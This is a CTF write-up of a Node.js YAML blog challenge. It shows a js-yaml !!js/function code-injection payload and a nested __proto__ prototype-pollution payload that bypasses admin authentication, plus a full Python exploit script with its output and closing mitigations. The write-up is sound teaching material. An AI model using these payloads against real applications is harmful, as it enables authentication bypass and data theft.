YAML is the best javascript object notation. So I made a blog hoster with YAML + JS!
The haters keep saying that YAML is “so unsafe” and “a bad language” so I added a CSP to my Node.js app to make it super secure!
Category: web
Solver: nh1729
Flag: GPNCTF{7uRn5_Ou7_NODE_h4s_4_c5P_r1poff}
Challenge Overview
The challenge is identical to yavascript-blog, except for one line:
$ diff -r yavascript-blog yavascript-blog-csp
diff '--color=auto' -r yavascript-blog/Dockerfile yavascript-blog-csp/Dockerfile
11c11
< CMD ["node", "."]
---
> CMD ["node", "--disallow-code-generation-from-strings", "."]
Overview yavascript-blog
This section is identical to the overview in our writeup of yavascript-blog
The challenge is a small nodejs
project hosting an express
web server. It exposes routes to register users, edit blogs and blog posts associated with them and to read blog posts by name, all stored in-memory.
Each user can have multiple named blogs and each blog has a list of posts, each with a content. The posts can be accessed by the blog name and post index.
User authentication is password-based for each request and each user can edit and list only their own blogs, while unauthenticated users can access them if they know the blog name.
Initially, there is only one user registered: admin
, who does not have a password set and thus cannot be authenticated as. They have one blog whose name is the flag.
The interesting part of the challenge is request parsing: Instead of a usual JSON payload, routes parse request bodies as yaml using yaml.load
from the js-yaml
library.
The most complex route is the one to edit one’s own blogs:
app.post('/edit-blogs', (req, res) => {
console.log(req.body);
if (typeof req.body?.username !== "string" || typeof req.body?.password !== "string" || typeof req.body?.blogs !== "object") {
return res.status(400).send("Invalid input");
}
let user = users[req.body.username];
console.log({user, pw: user.password, sha: sha256(req.body.password)})
if (!user || user.password !== sha256(req.body.password)) return res.status(403).send("Invalid credentials");
for (let blogName in req.body.blogs) {
let taken = false;
for (let username in users) {
if (Object.keys(users[username]?.blogs?.[blogName] || {}).length > 0 && username !== req.body.username) {
taken = true;
}
}
if (taken) continue // user cannot write to this blog
let blog = user.blogs[blogName] ??= {}
let newPosts = req.body.blogs[blogName].posts || [];
for (let post of newPosts) {
if (post.slug !== undefined && !post.slug.match(/\d\d-\d\d-\d\d-.*/)) {
return res.status(400).send("Invalid post slug");
}
}
// set to both ID and slug for posts without slugs
for (let postId in newPosts) {
if (postId === "__proto__") return res.status(400).send("Invalid post slug");
let post = newPosts[postId];
if (typeof post.content !== "string") return res.status(400).send("Invalid post content");
blog[postId] = blog[post.slug] = post.content
}
}
res.json(user);
})
Writeup
To recap the simpler version of this challenge, we used a special !!js/function
tag in yaml to build a payload that reads the flag from the environment.
username: test
password: test
blogs:
x:
posts:
- content: y
slug: { toString: !!js/function '() => process.env.FLAG', match: !!js/function '() => true' }
Let’s look at the changed parameter in the docs:
--disallow-code-generation-from-strings
Added in: v9.8.0
Make built-in language features like
eval
andnew Function
that generate code from strings throw an exception instead. This does not affect the Node.jsnode:vm
module.
Indeed, the old payload produces an error:
EvalError: Code generation from strings disallowed for this context
With this exploit path blocked, we looked for other options.
Going back to the /edit-posts
endpoint and its handler, the remaining options point towards a prototype pollution.
Further, since the admin
user who has the the flag does not have a password hash set, polluting the password
property of the Object
prototype with a known hash enables us to authenticate as them and obtain the flag.
There is only one place in the code where a chosen property is being set to a mostly user-provided value, right at the end of edit-posts
:
blog[postId] = blog[post.slug] = post.content
Ideally, we want blog
be Object.prototype
, postId
or post.slug
be password
and post.content
be a hash string.
We created a simplified diagram of property lookups and assignments:
To have blog == Object.prototype
, we could try to set blogName
to __proto__
and use normal objects for everything else.
To get started, we added generous debug logging to the challenge code, set up a local container and registered a user with credentials test:test
.
For blogName
to be __proto__
we need to have an enumerable property on the blogs object named __proto__
. However, simply setting a property named such does not work because there is a setter for that name (MDN docs):
The
__proto__
accessor property ofObject
instances exposes the[[Prototype]]
(either an object ornull
) of this object.
Setting the prototype on blogs
might sound useful, but it does not really help in the scope of this challenge. Instead, we want to change properties of the existing Object
prototype.
So to set a normal property named __proto__
, we cannot operate on an instance of Object
. After much trial and error, we found we can make the blogs
object act differently from such an instance by setting __proto__
twice: once to null
to remove the Object
constructor and thus __proto__
special accessor from the prototype chain, and once to set a “normal” __proto__
property:
username: test
password: test
blogs:
__proto__: null
__proto__:
posts:
- content: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Then, we focused on slug
/postId
. While on slug
there is filter enforcing they begin with a date format, postId
is a index into the post array. To make it a string instead, we changed the posts
property from an array to a normal object:
username: test
password: test
blogs:
__proto__: null
__proto__:
posts:
password:
content: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
The result:
TypeError: newPosts is not iterable
at /app/index.js:72:26
...
Apparently, these normal objects are not iterable with let ... of
. Luckily, as seen earlier, we can change the prototype of our request objects. Using an array as prototype makes posts
behave like an array, except it still has strings as keys.
username: test
password: test
blogs:
myblogid:
posts:
password:
content: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
__proto__: []
With that that payload, we had
({}).password == "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
Exploit script
import requests
# BASE = 'http://localhost:1337'
BASE = 'https://lakeview-of-outrageous-sunlight.gpn23.ctf.kitctf.de'
with requests.Session() as s:
data = '''
username: test
password: test
'''
with s.post(f'{BASE}/register', data=data, headers={"content-type": "application/x-yaml"}) as r:
print(r.content)
data = '''
username: test
password: test
blogs:
__proto__: null
__proto__:
posts:
password:
content: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
__proto__: []
'''
with s.post(f'{BASE}/edit-blogs', data=data, headers={"content-type": "application/x-yaml"}) as r:
print(r.content)
data = '''
username: admin
password: test
blogs: {}
'''
with s.post(f'{BASE}/edit-blogs', data=data, headers={"content-type": "application/x-yaml"}) as r:
print(r.content)
Output:
b'OK'
b'{"password":"9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08","blogs":{}}'
b'{"blogs":{"GPNCTF{7uRn5_Ou7_NODE_h4s_4_c5P_r1poff}":{"posts":{"my-beautiful-flag":"Look at my flag! Isn\'t it beautiful?"}}}}'
Mitigations
-
Keep your dependencies up-to-date.
In version 4.0.0,js-yaml
fixed the__proto__
setter:__proto__
key no longer overrides object prototype, #164. -
Adhere to best practices with regard to prototype pollution, e.g. from the OWASP cheat sheet. An application of
Map
andnull
prototype could look like this:// In user registration users.set( req.body.username, { password: sha256(req.body.password). blogs: new Map(), __proto__: null } ) ... // In edit-blogs let blog = user.blogs.get(blogName) ??= new Map() ... // Where there was prototype pollution before blog.set(postId, post.content) blog.set(post.slug, post.content)
-
Use
safe*
functions to load untrusted user input. That wouldn’t have fixed this challenge but is a general good practice.